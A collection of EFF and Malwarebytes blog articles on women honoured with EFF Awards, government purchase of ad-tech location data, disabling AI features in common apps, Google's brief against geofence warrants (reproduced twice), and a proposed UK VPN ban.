Licensed under Creative Commons: By Attribution 4.0 License
http://creativecommons.org/licenses/by/4.0/
Outro Music: “Good God” by Wowa (unminus.com)
Listen up—Malwarebytes doesn’t just talk cybersecurity, we provide it.
Protect yourself from online attacks that threaten your identity, your files, your system, and your financial well-being with our exclusive offer for Malwarebytes Premium Security for Lock and Code listeners.
For the last hundred years, women have had pivotal and far too often unsung roles in building and shaping the technology that we now use every day. Many have heard of Ada Lovelace’s contributions to computer programming, but far fewer know Mary Allen Wilkes, a prominent modern programmer who wrote much of the software for the LINC, one of the world’s first interactive personal computers (it could fit in a single office and cost $40,000, but it was the 60’s). Decades earlier, when the first all-electronic, digital Eniac computer was built in the 40’s, the “software” for it was written by women: Kathleen McNulty, Jean Jennings, Betty Snyder, Marlyn Wescoff, Frances Bilas and Ruth Lichterman.
It’s thankfully become more common knowledge that actor and inventor Hedy Lamarr co-created the concept of "frequency-hopping" that became a basis for radio systems from cell phones to wireless networking systems. But too few know Laila Ohlgren, who in the 1970’s solved a major problem with the development of mobile networks and phones by recognizing that dialed numbers could be stored and sent all at once with a “call button,” rather than sent one number at a time, which created connection issues before a call was even made.
Women in tech deserve more and brighter spotlights. At EFF, we’ve had the honor of celebrating some of our heroes at our annual EFF Awards, including many women who are leading the digital rights community. For International Women’s Day, we’re highlighting the contributions of just a few of these recipients from the last decade, whose work to protect privacy, speech, and creativity online has had a global impact.
Carolina Botero is a leader in the fight for digital rights in Latin America. For over a decade, she led the Colombia-based Karisma Foundation and cultivated its regional and international impact. Botero and Karisma helped connect indigenous peoples to the internet and made it possible to contribute content to Wikipedia in their native language, expanding access to both history and modern information. They built alliances to combat disinformation, pushed for legal tools to protect cultural and heritage institutions from digital blackholes, and were, and remain, a necessary voice speaking for human rights in the online world. EFF worked closely with Karisma and Botero to help free Colombian graduate student Diego Gomez, who shared another student’s Master’s thesis with colleagues over the internet. Diego’s story demonstrates what can go wrong when nations enact severe penalties for copyright infringement, and thanks to work from Karisma, many partners, and many EFF supporters, he was cleared of the criminal charges that he faced for this harmless act of sharing scholarly research.
Carolina Botero receiving her EFF Award
Botero stepped down from the role in 2024, opening the door for a new generation. While her work continues—she’s currently on the advisory board of CELE, the Centro de Estudios en Libertad de Expresión—her EFF Award was well-deserved based on her strong and inspiring legacy for those in Latin America and beyond who advocate for a digital world that enhances rights and empowers the powerless. Learn more about Botero on her EFF Awards page and the recap of the 2024 event.
Chelsea Manning became famous as a whistleblower: In 2010, she disclosed classified Iraq War documents, including a video of the killings of Iraqi civilians and two Reuters reporters by U.S. troops. These documents exposed aspects of U.S. operations in Iraq and Afghanistan that infuriated the public and embarrassed the government. But she is also a transparency and transgender rights advocate, network security expert, author, and former U.S. Army intelligence analyst.
Manning joined the military in 2007. Her role as an intelligence analyst to an Army unit in Iraq in 2009 gave her access to classified databases, but more importantly, it gave her a uniquely comprehensive view of the war in Iraq, and she became increasingly disillusioned and frustrated by what she saw, versus what was being shared. In 2010, she approached major news outlets hoping to give information to them that would reveal a new side of the war to the public. Ultimately, she shared the documents with Wikileaks.
Manning’s bravery did not end there. When she was arrested a few months later, she endured "cruel, inhuman and degrading" treatment, according to the UN Special Rapporteur on torture. She was locked up alone for 23 hours a day over an 11-month period, before her trial. The mistreatment resulted in public outcry and advocacy by organizations like Amnesty International. Even a State Department spokesperson, Philip Crowley, criticized the treatment as "ridiculous, counterproductive, and stupid," and resigned. She was moved to a medium-security facility in April 2011.
The government’s charges against Manning were outrageous, but in 2013 she was convicted of 19 of 22 counts as a result of her whistleblowing activities. She became one of fewerthan a dozen people prosecuted for espionage in the entire history of the United States, and she was sentenced to the longest punishment ever imposed on a whistleblower. Then, the day after her conviction, isolated from her community and in all likelihood expecting to remain in prison for years if not decades, she courageously issued a statement identifying herself as a trans woman, which she’d wanted to reveal for years.
Over the next several years, while imprisoned, she became an advocate both for government transparency and for transgender rights. Her conviction and sentence pointed to the need for legal reform of both the Computer Fraud and Abuse Act (CFAA) and the Espionage Act. EFF filed an amicus brief to the U.S. Army Court of Criminal Appeals arguing that the CFAA was never meant to criminalize violations of private policies like those of government systems, and EFF also pushed, and continues to fight for, narrower interpretations of the Espionage Act and stronger protections for whistleblowers, particularly to take into account both the motivation of individuals who pass on documents and the disclosure’s ramifications.
Even after President Obama commuted her sentence in 2017, and EFF celebrated her work and her release with an EFF award in September, 2017, her fight wasn’t over. She was imprisoned again twice in 2019 and ultimately fined $256,000 for refusing to testify before grand juries investigating WikiLeaks founder Julian Assange. The U.N. Special Rapporteur on torture again criticized Manning’s treatment, writing that "the practice of coercive detention appears to be incompatible with the international human rights obligations of the United States."
Manning was released in 2020 after having spent almost a decade in total imprisoned for her courage. She wrote a memoir, README.txt, in 2022, to take back control over her story.
EFF Award Winners Mike Masnick, Annie Game, and Chelsea Manning
Annie Game spent over 16 years as the Executive Director of IFEX, a global network of journalism and civil liberties organizations working together to defend freedom of expression. IFEX (formerly International Freedom of Expression Exchange) began in the 1990s, when a group of organizations and the Canadian Committee to Protect Journalists came together to consider how to respond as a single voice to free-expression violations around the world. IFEX now is a global hub for the protection of free speech and journalism.
Game recognized early on that digital rights and freedom of expression groups needed one another. Under her leadership, IFEX paired more traditional free-expression organizations with their more digital counterparts, with a focus on building organizational security capacities. IFEX Initiatives under Game’s leadership have been expansive. For example, the International Day to End Impunity for Crimes against Journalists, November 2, has been an annual wake-up call and reminder for UN member states to live up to their commitments to protecting journalists. UNESCO observed more than 1,700 journalists were killed globally between 2006 and 2024, and nearly 90% of these cases went unsolved in the courts.
Game and IFEX have also focused on high-profile cases of journalists threatened by governments for their work, such as Bahey eldin Hassan in Egypt. Bahey is the director of the Cairo Institute for Human Rights Studies (CIHRS) and has advocated for freedom of expression and the basic human rights of Egyptians, but has lived in exile since 2014. The charges against him, of “disseminating false information” and “insulting the judiciary,” are common tactics of intimidation and harassment. Bahey’s supposed crimes were sharing social media posts criticising the Egyptian judiciary’s lack of independence, and speaking about the killing in Egypt of Italian researcher Giulio Regeni. Bahey—an IFEX member—is just one of many reporters and human rights workers in danger when they speak. But when journalists and those defending their rights online speak out as one voice, as IFEX helps them do, it makes a difference.
Another initiative has been the Faces of Free Expression project, a partnership between IFEX and the International Free Expression Project. If you’re looking for more heroes, this project details the stories of “risk-takers and change-makers – individuals who put their careers, their freedom, their safety, and sometimes even their lives on the line,” while reporting, or defending free expression and the right to information.
Wherever authoritarianism and repression of speech have been on the rise, Game has unapologetically called out injustices and made it safer for journalists to do their work, while ensuring accountability when crimes are committed. The work is more critical now than ever, and since leaving IFEX in 2022, she’s remained an activist while focusing increasingly on environmental protection.
EFF has honored many more women with awards over the years—from Anita Borg and Hedy Lamarr to Amy Goodman and Beth Givens. This blog from 2012 looks back and acknowledges the important contributions from twelve more EFF Award winners.
We’ve also asked five women at EFF about women in digital rights, freedom of expression, technology, and tech activism who have inspired us. You can read that here.
Your donations empower EFF to do even more.
We've all had the unsettling experience of seeing an ad online that reveals just how much advertisers know about our lives. You're right to be disturbed. Those very same online ad systems have been used by the government to warrantlessly track peoples' locations, new reporting has confirmed.
For years, the internet advertising industry has been sucking up our data, including our location data, to serve us "more relevant ads." At the same time, we know that federal law enforcement agencies have been buying up our location data from shady data brokers that most people have never heard of.
Now, a new report gives us direct evidence that Customs and Border Protection (CBP) has used location data taken from the internet advertising ecosystem to track phones. In a document uncovered by 404 Media, CBP admits what we’ve been saying for years: The technical systems powering creepy targeted ads also allow federal agencies to track your location.
The document acknowledges that a program by the agency to use "commercially available marketing location data" for surveillance drew from the process used to select the targeted ads shown to you on nearly every website and app you visit. In this blog post, we'll tell you what this process is, how it can and is being used for state surveillance, and what can be done about it—by individuals, by lawmakers, and by the tech companies that enable these abuses.
The online advertising industry has built a massive surveillance machine, and the government can co-opt it to spy on us.
In the absence of strong privacy laws, surveillance-based advertising has become the norm online. Companies track our online and offline activity, then share it with ad tech companies and data brokers to help target ads. Law enforcement agencies take advantage of this advertising system to buy information about us that they would normally need a warrant for, like location data. They rely on the multi-billion-dollar data broker industry to buy location data harvested from people’s smartphones.
We’ve known for years that location data brokers are one part of federal law enforcement's massive surveillance arsenal, including immigration enforcement agencies like CBP and Immigration and Customs Enforcement (ICE). ICE, CBP and the FBI have purchased location data from the data broker Venntell and used it to identify immigrants who were later arrested. Last year, ICE purchased a spy tool called Webloc that gathers the locations of millions of phones and makes it easy to search for phones within specific geographic areas over a period of time. Webloc also allows them to filter location data by the unique advertising IDs that Apple and Google assign to our phones.
But a document recently obtained by 404 Media is the first time CBP has acknowledged the location data it buys is partially sourced from the system powering nearly every ad you see online: real-time bidding (RTB). As CBP puts it, “RTB-sourced location data is recorded when an advertisement is served.”
Even though this document is about a 2019-2021 pilot use of this data, CBP and other federal agencies have continued to purchase and use commercially obtained location data. ICE has purchased location tracking tools since then and recently requested information on “Ad Tech” tools it could use for investigations.
The CBP document acknowledges two sources of location data that it relies on: software development kits (SDKs) and RTB, both methods of location-tracking that EFF has written about before. Apps for weather, navigation, dating, fitness, and “family safety” often request location permissions to enable key features. But once an app has access to your location, it could share it with data brokers directly through SDKs or indirectly (and often without the app developers' knowledge) through RTB. Data brokers can collect location data from SDKs that they pay developers to put in their apps. When relying on RTB, data brokers don’t need any direct relationship with the apps and websites they’re collecting location data from. RTB is facilitated by ad companies that are already plugged into most websites and apps.
Your donations empower EFF to do even more.
RTB is the process by which most websites and apps auction off their ad space. Unfortunately, the milliseconds-long auctions that determine which ads you see also expose your information, including location data, to thousands of companies a day. At a high-level, here’s how RTB works:
A key vulnerability of real-time bidding is that while only one advertiser wins the auction, all participants receive data about the person who would see their ad. As a result, anyone posing as an ad buyer can access a stream of sensitive data about billions of individuals a day. Data brokers have taken advantage of this vulnerability to harvest data at a staggering scale. For example, the FTC found that location data broker Mobilewalla collected data on over a billion people, with an estimated 60% sourced from RTB auctions. Leaked data from another location data broker, Gravy Analytics, referenced thousands of apps, including Microsoft apps, Candy Crush, Tinder, Grindr, MyFitnessPal, pregnancy trackers and religious-focused apps. When confronted, several of these apps’ developers said they had never heard of Gravy Analytics.
As Venntel, one of the location data brokers that has sold to ICE, puts it, “Commercially available bidstream data from the advertising ecosystem has long been one of the most comprehensive sources of real-time location and device data available.” But the privacy harms of RTB are not just a matter of misuse by individual data brokers. RTB auctions broadcast the average person’s data to thousands of companies, hundreds of times per day, with no oversight of how this information is ultimately exploited. Once your information is broadcast through RTB, it’s almost impossible to know who receives it or control how it’s used.
Revelations about the government's exploitation of this location data shows how dangerous online tracking has become, but we’re not powerless. Here are two basic steps you can take to better protect your location data:
For more tips, check out EFF’s guide to protecting yourself from mobile-device based location tracking. Keep in mind that the security plan that’s best for you will vary in different situations. For example, you may want to take stronger steps to protect your location data when traveling to a sensitive location, like a protest.
Legislators and tech companies must act so that individuals don’t bear the burden of defending their data every time they use the internet.
Ad tech companies must reckon with their role in warrantless government surveillance, among other privacy harms. The systems they built for targeted advertising are actively used to track people’s location. The best way to prevent online ads from fueling surveillance is to stop targeting ads based on detailed behavioral profiles. Ads can still be targeted contextually—based on the content people are viewing—without collecting or exposing their sensitive personal information. Short of moving to contextual advertising, tech companies can limit the use of their systems for government location tracking by:
Lawmakers also need to step up to protect their constituents' privacy. We need strong, federal privacy laws to stop companies from spying on us and selling our personal information. EFF advocates for data privacy legislation with teeth and a ban on ad targeting based on online behavioral profiles, as it creates a financial incentive for companies to track our every move.
Legislators can and must also close the "data broker loophole" on the Fourth Amendment. Instead of obtaining a warrant signed by a judge, law enforcement agencies can just buy location data from private brokers to find out where you've been. Last year, Montana became the first state in the U.S. to pass a law blocking the government from buying sensitive data it would otherwise need a warrant to obtain. And in 2024, Senator Ron Wyden's EFF-endorsed Fourth Amendment is Not for Sale Act passed the House before dying in the Senate. Others should follow suit to stop this end-run around constitutional protections.
Online behavioral advertising isn’t just creepy–it’s dangerous. It's wrong that our personal information is being silently harvested, bought by shadow-y data brokers, and sold to anyone who wants to invade our privacy. This latest revelation of warrantless government surveillance should serve as a frightening wakeup call of how dangerous online behavioral advertising has become.
Your donations empower EFF to do even more.
If you don’t go searching for AI services, they’ll find you all the same. Every major tech company feels a moral obligation not just to develop an AI assistant, integrated chatbot, or autonomous agent, but to bake it into their existing mainstream products and forcibly activate it for tens of millions of users. Here are just a few examples from the last six months:
On the flip side, geeks have rushed to build their own “personal Jarvises” by renting VPS instances or hoarding Mac minis to run the OpenClaw AI agent. Unfortunately, OpenClaw’s security issues with default settings turned out to be so massive that it’s already been dubbed the biggest cybersecurity threat of 2026.
Beyond the sheer annoyance of having something shoved down your throat, this AI epidemic brings some very real practical risks and headaches. AI assistants hoover up every bit of data they can get their hands on, parsing the context of the websites you visit, analyzing your saved documents, reading through your chats, and so on. This gives AI companies an unprecedentedly intimate look into every user’s life.
A leak of this data during a cyberattack — whether from the AI provider’s servers or from the cache on your own machine — could be catastrophic. These assistants can see and cache everything you can, including data usually tucked behind multiple layers of security: banking info, medical diagnoses, private messages, and other sensitive intel. We took a deep dive into how this plays out when we broke down the issues with the AI-powered Copilot+ Recall system, which Microsoft also planned to force-feed to everyone. On top of that, AI can be a total resource hog, eating up RAM, GPU cycles, and storage, which often leads to a noticeable hit to system performance.
For those who want to sit out the AI storm and avoid these half-baked, rushed-to-market neural network assistants, we’ve put together a quick guide on how to kill the AI in popular apps and services.
Google’s AI assistant features in Mail and Docs are lumped together under the umbrella of “smart features”. In addition to the large language model, this includes various minor conveniences, like automatically adding meetings to your calendar when you receive an invite in Gmail. Unfortunately, it’s an all-or-nothing deal: you have to disable all of the “smart features” to get rid of the AI.
To do this, open Gmail, click the Settings (gear) icon, and then select See all settings. On the General tab, scroll down to Google Workspace smart features. Click Manage Workspace smart feature settings and toggle off two options: Smart features in Google Workspace and Smart features in other Google products. We also recommend unchecking the box next to Turn on smart features in Gmail, Chat, and Meet on the same general settings tab. You’ll need to restart your Google apps afterward (which usually happens automatically).
You can kill off AI Overviews in search results on both desktops and smartphones (including iPhones), and the fix is the same across the board. The simplest way to bypass the AI overview on a case-by-case basis is to append -ai to your search query — for example, how to make pizza -ai. Unfortunately, this method occasionally glitches, causing Google to abruptly claim it found absolutely nothing for your request.
If that happens, you can achieve the same result by switching the search results page to Web mode. To do this, select the Web filter immediately below the search bar — you’ll often find it tucked away under the More button.
A more radical solution is to jump ship to a different search engine entirely. For instance, DuckDuckGo not only tracks users less and shows little ads, but it also offers a dedicated AI-free search — just bookmark the search page at noai.duckduckgo.com.
Chrome currently has two types of AI features baked in. The first communicates with Google’s servers and handles things like the smart assistant, an autonomous browsing AI agent, and smart search. The second handles locally more utility-based tasks, such as identifying phishing pages or grouping browser tabs. The first group of settings is labeled AI mode, while the second contains the term Gemini Nano.
To disable them, type chrome://flags into the address bar and hit Enter. You’ll see a list of system flags and a search bar; type “AI” into that search bar. This will filter the massive list down to about a dozen AI features (and a few other settings where those letters just happen to appear in a longer word). The second search term you’ll need in this window is “Gemini“.
After reviewing the options, you can disable the unwanted AI features — or just turn them all off — but the bare minimum should include:
Set all of these to Disabled.
While Firefox doesn’t have its own built-in chatbots and hasn’t (yet) tried to force upon users agent-based features, the browser does come equipped with smart-tab grouping, a sidebar for chatbots, and a few other perks. Generally, AI in Firefox is much less “in your face” than in Chrome or Edge. But if you still want to pull the plug, you’ve two ways to do it.
The first method is available in recent Firefox releases — starting with version 148, a dedicated AI Controls section appeared in the browser settings, though the controls are currently a bit sparse. You can use a single toggle to completely Block AI enhancements, shutting down AI features entirely. You can also specify whether you want to use On-device AI by downloading small local models (currently just for translations) and configure AI chatbot providers in sidebar, choosing between Anthropic Claude, ChatGPT, Copilot, Google Gemini, and Le Chat Mistral.
The second path — for older versions of Firefox — requires a trip into the hidden system settings. Type about:config into the address bar, hit Enter, and click the button to confirm that you accept the risk of poking around under the hood.
A massive list of settings will appear along with a search bar. Type “ML” to filter for settings related to machine learning.
To disable AI in Firefox, toggle the browser.ml.enabled setting to false. This should disable all AI features across the board, but community forums suggest this isn’t always enough to do the trick. For a scorched-earth approach, set the following parameters to false (or selectively keep only what you need):
This will kill off chatbot integrations, AI-generated link descriptions, assistants and extensions, local translation of websites, tab grouping, and other AI-driven features.
Microsoft has managed to bake AI into almost every single one of its products, and turning it off is often no easy task — especially since the AI sometimes has a habit of resurrecting itself without your involvement.
Microsoft’s browser is packed with AI features, ranging from Copilot to automated search. To shut them down, follow the same logic as with Chrome: type edge://flags into the Edge address bar, hit Enter, then type “AI” or “Copilot” into the search box. From there, you can toggle off the unwanted AI features, such as:
Another way to ditch Copilot is to enter edge://settings/appearance/copilotAndSidebar into the address bar. Here, you can customize the look of the Copilot sidebar and tweak personalization options for results and notifications. Don’t forget to peek into the Copilot section under App-specific settings — you’ll find some additional controls tucked away there.
Microsoft Copilot comes in two flavors: as a component of Windows (Microsoft Copilot), and as part of the Office suite (Microsoft 365 Copilot). Their functions are similar, but you’ll have to disable one or both depending on exactly what the Redmond engineers decided to shove onto your machine.
The simplest thing you can do is just uninstall the app entirely. Right-click the Copilot entry in the Start menu and select Uninstall. If that option isn’t there, head over to your installed apps list (Start → Settings → Apps) and uninstall Copilot from there.
In certain builds of Windows 11, Copilot is baked directly into the OS, so a simple uninstall might not work. In that case, you can toggle it off via the settings: Start → Settings → Personalization → Taskbar → turn off Copilot.
If you ever have a change of heart, you can always reinstall Copilot from the Microsoft Store.
It’s worth noting that many users have complained about Copilot automatically reinstalling itself, so you might want to do a weekly check for a couple of months to make sure it hasn’t staged a comeback. For those who are comfortable tinkering with the System Registry (and understand the consequences), you can follow this detailed guide to prevent Copilot’s silent resurrection by disabling the SilentInstalledAppsEnabled flag and adding/enabling the TurnOffWindowsCopilot parameter.
The Microsoft Recall feature, first introduced in 2024, works by constantly taking screenshots of your computer screen and having a neural network analyze them. All that extracted information is dumped into a database, which you can then search using an AI assistant. We’ve previously written in detail about the massive security risks Microsoft Recall poses.
Under pressure from cybersecurity experts, Microsoft was forced to push the launch of this feature from 2024 to 2025, significantly beefing up the protection of the stored data. However, the core of Recall remains the same: your computer still remembers your every move by constantly snapping screenshots and OCR-ing the content. And while the feature is no longer enabled by default, it’s absolutely worth checking to make sure it hasn’t been activated on your machine.
To check, head to the settings: Start → Settings → Privacy & Security → Recall & snapshots. Ensure the Save snapshots toggle is turned off, and click Delete snapshots to wipe any previously collected data, just in case.
You can also check out our detailed guide on how to disable and completely remove Microsoft Recall.
AI has seeped into every corner of Windows, even into File Explorer and Notepad. You might even trigger AI features just by accidentally highlighting text in an app — a feature Microsoft calls “AI Actions”. To shut this down, head to Start → Settings → Privacy & Security → Click to Do.
Notepad has received its own special Copilot treatment, so you’ll need to disable AI there separately. Open the Notepad settings, find the AI features section, and toggle Copilot off.
Finally, Microsoft has even managed to bake Copilot into Paint. Unfortunately, as of right now, there is no official way to disable the AI features within the Paint app itself.
In several regions, WhatsApp users have started seeing typical AI additions like suggested replies, AI message summaries, and a brand-new Chat with Meta AI button. While Meta claims the first two features process data locally on your device and don’t ship your chats off to their servers, verifying that is no small feat. Luckily, turning them off is straightforward.
To disable Suggested Replies, go to Settings → Chats → Suggestions & smart replies and toggle off Suggested replies. You can also kill off AI Sticker suggestions in that same menu. As for the AI message summaries, those are managed in a different location: Settings → Notifications → AI message summaries.
Given the sheer variety of manufacturers and Android flavors, there’s no one-size-fits-all instruction manual for every single phone. Today, we’ll focus on killing off Google’s AI services — but if you’re using a device from Samsung, Xiaomi, or others, don’t forget to check your specific manufacturer’s AI settings. Just a heads-up: fully scrubbing every trace of AI might be a tall order — if it’s even possible at all.
In Google Messages, the AI features are tucked away in the settings: tap your account picture, select Messages settings, then Gemini in Messages, and toggle the assistant off.
Broadly speaking, the Gemini chatbot is a standalone app that you can uninstall by heading to your phone’s settings and selecting Apps. However, given Google’s master plan to replace the long-standing Google Assistant with Gemini, uninstalling it might become difficult — or even impossible — down the road.
If you can’t completely uninstall Gemini, head into the app to kill its features manually. Tap your profile icon, select Gemini Apps activity, and then choose Turn off or Turn off and delete activity. Next, tap the profile icon again and go to the Connected Apps setting (it may be hiding under the Personal Intelligence setting). From here, you should disable all the apps where you don’t want Gemini poking its nose in.
Apple’s platform-level AI features, collectively known as Apple Intelligence, are refreshingly straightforward to disable. In your settings — on desktops, smartphones, and tablets alike — simply look for the section labeled Apple Intelligence & Siri. By the way, depending on your region and the language you’ve selected for your OS and Siri, Apple Intelligence might not even be available to you yet.
Other posts to help you tune the AI tools on your devices:
Google has weighed in on a court case that will decide the future of a powerful but contentious tool for law enforcement. The company submitted an opinion to the US Supreme Court arguing that geofence warrants are unconstitutional.
A geofence warrant is a form of “reverse warrant” that turns a regular warrant on its head. Police get a regular warrant when they want to target a particular person. With a reverse warrant, police don’t know exactly who they’re looking for. Instead, they ask someone (typically a technology company) for a broad data set about a group of unknown people based on some common behavior. Then they analyze that data set for potential suspects.
With a geofence warrant, that data set is defined by a location and a time window. Law enforcement officials obtain a list of phones that were in that area during that period. Every device that was inside the circle comes back in the results, even if nobody on that list has been suspected of anything. Proximity is the only criterion.
That’s how Okello Chatrie was charged with armed bank robbery in Virginia in 2019: His phone showed up in a geofence warrant covering 17.5 acres (larger than three football fields). He argued that this kind of search isn’t constitutional and shouldn’t have been used as evidence.
In 2024, the Fifth Circuit Court of Appeals agreed with him, overturning a Fourth Circuit ruling. Now prosecutors have taken the case to the Supreme Court, with parties due to make oral arguments on April 27.
The case has seen a flurry of amicus curiae briefs, which are opinions from interested expert parties that have no direct involvement in the case. One of these is from Google, which on Monday urged the justices to consider the geofence warrants unconstitutional because of their broad scope. It has objected to more than 3,000 of them on constitutional grounds in recent months.
Google’s brief stated:
“Many of these overbroad warrants swept in hundreds, sometimes even thousands, of innocent people. State and federal courts have repeatedly granted Google’s motions to quash these overbroad warrants.”
Although Google is just one of many organizations that filed amicus briefs, its position is especially notable because it has historically collected so much location data. Its Timeline feature (formerly Location History) logs device position via GPS, Wi-Fi networks, Bluetooth, and mobile signals, including when Google apps aren’t being used, according to its policy page.
At the time of the Chatrie warrant, it was recording position as frequently as every two minutes. All of that fed a centralised internal database which held 592 million individual accounts. So responding to any geofence request required Google to search essentially the entire store before producing a single name, according to an analysis by privacy advocacy group EPIC, which also regularly submits amicus briefs on privacy cases.
Google moved Timeline storage from its own servers onto users’ devices in July 2025, closing the door to fresh cloud-based requests against its own systems. But the constitutional question survives for historical data and for any company that has not followed suit.
A geofence warrant does not stay fenced, according to a separate brief that the Center for Democracy and Technology (CDT) filed in the case last week. It said Google’s standard response to warrants had three steps. First it would deliver an anonymized list of devices inside the geofence. Then, police could ask for movement data on chosen “devices of interest,” which could track them outside the geographic boundary and beyond the original time window. Finally, again without any further judicial approval, police could ask for subscriber-identifying information for whichever devices police chose to unmask.
In the Chatrie case, positioning data was imprecise enough that, as the district court found, the warrant may have included devices outside the intended area. According to the CDT brief:
“The Geofence Warrant could have captured the location of someone who was hundreds of feet outside the geofence.”
The CDT argues in its brief that this can expose the privacy of people going about their everyday lives, engaging in legal activities that they might not want others to know about. The warrant that scooped up Chatrie included a hotel and a restaurant.
Some of these requests are far broader. Google successfully challenged a warrant asking for the location history of anyone in large portions of San Francisco for two and a half days, it said. Google complained in its brief:
“No court would authorize a physical search of hundreds of people or places, yet geofence warrants sometimes do so by design.”
If your phone stores detailed location history with Google, that data may be included in geofence warrant responses. Limiting what gets saved can reduce how much location information exists in the first place.
There are two Google settings that matter: Timeline (Location History) and Web & App Activity. Turning off one does not automatically disable the other.
Timeline stores a detailed record of where your device has been, although it’s off by default. Web & App Activity can also log location signals when you use Google services like Search, Maps, or other apps.
Google provides instructions on how to review and disable these settings in its support documentation:
Google has previously settled lawsuits accusing it of misleading users about how location data is stored across these settings, so reviewing both controls is important.
The implications of the case extend well past maps, though. The CDT brief warns that if courts endorse the logic behind geofence warrants, then law enforcement may try to apply the same approach to other large datasets held by technology companies, such as AI chatbot data. That’s a step the DHS has already taken, issuing what has been reported as the first known warrant for ChatGPT user data.
We don’t just report on privacy—we offer you the option to use it.
Privacy risks should never spread beyond a headline. Keep your online privacy yours by using Malwarebytes Privacy VPN.
Google has weighed in on a court case that will decide the future of a powerful but contentious tool for law enforcement. The company submitted an opinion to the US Supreme Court arguing that geofence warrants are unconstitutional.
A geofence warrant is a form of “reverse warrant” that turns a regular warrant on its head. Police get a regular warrant when they want to target a particular person. With a reverse warrant, police don’t know exactly who they’re looking for. Instead, they ask someone (typically a technology company) for a broad data set about a group of unknown people based on some common behavior. Then they analyze that data set for potential suspects.
With a geofence warrant, that data set is defined by a location and a time window. Law enforcement officials obtain a list of phones that were in that area during that period. Every device that was inside the circle comes back in the results, even if nobody on that list has been suspected of anything. Proximity is the only criterion.
That’s how Okello Chatrie was charged with armed bank robbery in Virginia in 2019: His phone showed up in a geofence warrant covering 17.5 acres (larger than three football fields). He argued that this kind of search isn’t constitutional and shouldn’t have been used as evidence.
In 2024, the Fifth Circuit Court of Appeals agreed with him, overturning a Fourth Circuit ruling. Now prosecutors have taken the case to the Supreme Court, with parties due to make oral arguments on April 27.
The case has seen a flurry of amicus curiae briefs, which are opinions from interested expert parties that have no direct involvement in the case. One of these is from Google, which on Monday urged the justices to consider the geofence warrants unconstitutional because of their broad scope. It has objected to more than 3,000 of them on constitutional grounds in recent months.
Google’s brief stated:
“Many of these overbroad warrants swept in hundreds, sometimes even thousands, of innocent people. State and federal courts have repeatedly granted Google’s motions to quash these overbroad warrants.”
Although Google is just one of many organizations that filed amicus briefs, its position is especially notable because it has historically collected so much location data. Its Timeline feature (formerly Location History) logs device position via GPS, Wi-Fi networks, Bluetooth, and mobile signals, including when Google apps aren’t being used, according to its policy page.
At the time of the Chatrie warrant, it was recording position as frequently as every two minutes. All of that fed a centralised internal database which held 592 million individual accounts. So responding to any geofence request required Google to search essentially the entire store before producing a single name, according to an analysis by privacy advocacy group EPIC, which also regularly submits amicus briefs on privacy cases.
Google moved Timeline storage from its own servers onto users’ devices in July 2025, closing the door to fresh cloud-based requests against its own systems. But the constitutional question survives for historical data and for any company that has not followed suit.
A geofence warrant does not stay fenced, according to a separate brief that the Center for Democracy and Technology (CDT) filed in the case last week. It said Google’s standard response to warrants had three steps. First it would deliver an anonymized list of devices inside the geofence. Then, police could ask for movement data on chosen “devices of interest,” which could track them outside the geographic boundary and beyond the original time window. Finally, again without any further judicial approval, police could ask for subscriber-identifying information for whichever devices police chose to unmask.
In the Chatrie case, positioning data was imprecise enough that, as the district court found, the warrant may have included devices outside the intended area. According to the CDT brief:
“The Geofence Warrant could have captured the location of someone who was hundreds of feet outside the geofence.”
The CDT argues in its brief that this can expose the privacy of people going about their everyday lives, engaging in legal activities that they might not want others to know about. The warrant that scooped up Chatrie included a hotel and a restaurant.
Some of these requests are far broader. Google successfully challenged a warrant asking for the location history of anyone in large portions of San Francisco for two and a half days, it said. Google complained in its brief:
“No court would authorize a physical search of hundreds of people or places, yet geofence warrants sometimes do so by design.”
If your phone stores detailed location history with Google, that data may be included in geofence warrant responses. Limiting what gets saved can reduce how much location information exists in the first place.
There are two Google settings that matter: Timeline (Location History) and Web & App Activity. Turning off one does not automatically disable the other.
Timeline stores a detailed record of where your device has been, although it’s off by default. Web & App Activity can also log location signals when you use Google services like Search, Maps, or other apps.
Google provides instructions on how to review and disable these settings in its support documentation:
Google has previously settled lawsuits accusing it of misleading users about how location data is stored across these settings, so reviewing both controls is important.
The implications of the case extend well past maps, though. The CDT brief warns that if courts endorse the logic behind geofence warrants, then law enforcement may try to apply the same approach to other large datasets held by technology companies, such as AI chatbot data. That’s a step the DHS has already taken, issuing what has been reported as the first known warrant for ChatGPT user data.
We don’t just report on privacy—we offer you the option to use it.
Privacy risks should never spread beyond a headline. Keep your online privacy yours by using Malwarebytes Privacy VPN.
The idea of a “Great British Firewall” makes for a catchy headline, but it would be riddled with holes and cause huge problems.
The Guardian reports that the GCHQ (Government Communications Headquarters), a UK intelligence, security, and cyber agency, is exploring the idea of a British firewall offering protection against malicious hackers. It falls within its remit, but one of the measures reportedly discussed—banning VPN software—raises practical and technical questions.
Here’s what you actually need to know, and why you shouldn’t panic about your VPN just yet.
So what may happen is tighter controls around minors, and perhaps pressure on app stores and platforms, rather than a blanket prohibition for adults.
Technically speaking, these are some of the measures available to address VPNs bypassing geo-blocking and local legislation.
All of these are “making it harder” tactics rather than a hard technical kill switch.
To comprehensively block VPNs, the government would need to require internet providers to inspect traffic, restrict apps from app stores, and attempt to cut off access to thousands of VPN servers worldwide. That would be a massive, expensive, and deeply complicated undertaking—and it still wouldn’t work.
Modern VPNs are designed to look very similar to normal web browsing. When you load a website over HTTPS (the padlock in your browser) and when you connect to a VPN, the traffic flowing through your internet connection looks almost identical. Reliably telling them apart is a bit like trying to spot which cars on a motorway are taxis versus private vehicles based solely on their tire tread patterns at motorway speed, for every car, in real time. You’d end up accidentally blocking huge amounts of perfectly ordinary internet traffic in the attempt.
VPNs aren’t just for privacy-conscious consumers. They’re how millions of people securely connect to their workplace from home. The NHS (the UK’s National Health Service) uses them for remote access. Journalists use them to protect sources. Researchers use them to access academic resources. Any serious enforcement effort would have to grapple with the risk of collateral damage to businesses and public services.
Even if the government successfully blocked every major commercial VPN app and service, technically skilled users could simply rent a cheap server anywhere in the world and set up their own private tunnel in under ten minutes. There are also tools designed to evade exactly this kind of blocking, disguising encrypted traffic as ordinary web activity.
We know this because Russia has been trying to block VPNs for years, using the full weight of state enforcement behind it. But VPN usage in Russia has surged, not declined. Blocked services pop up under new names and addresses and new tools emerge overnight. This track record suggests that long-term, comprehensive suppression is difficult, even with aggressive powers of enforcement.
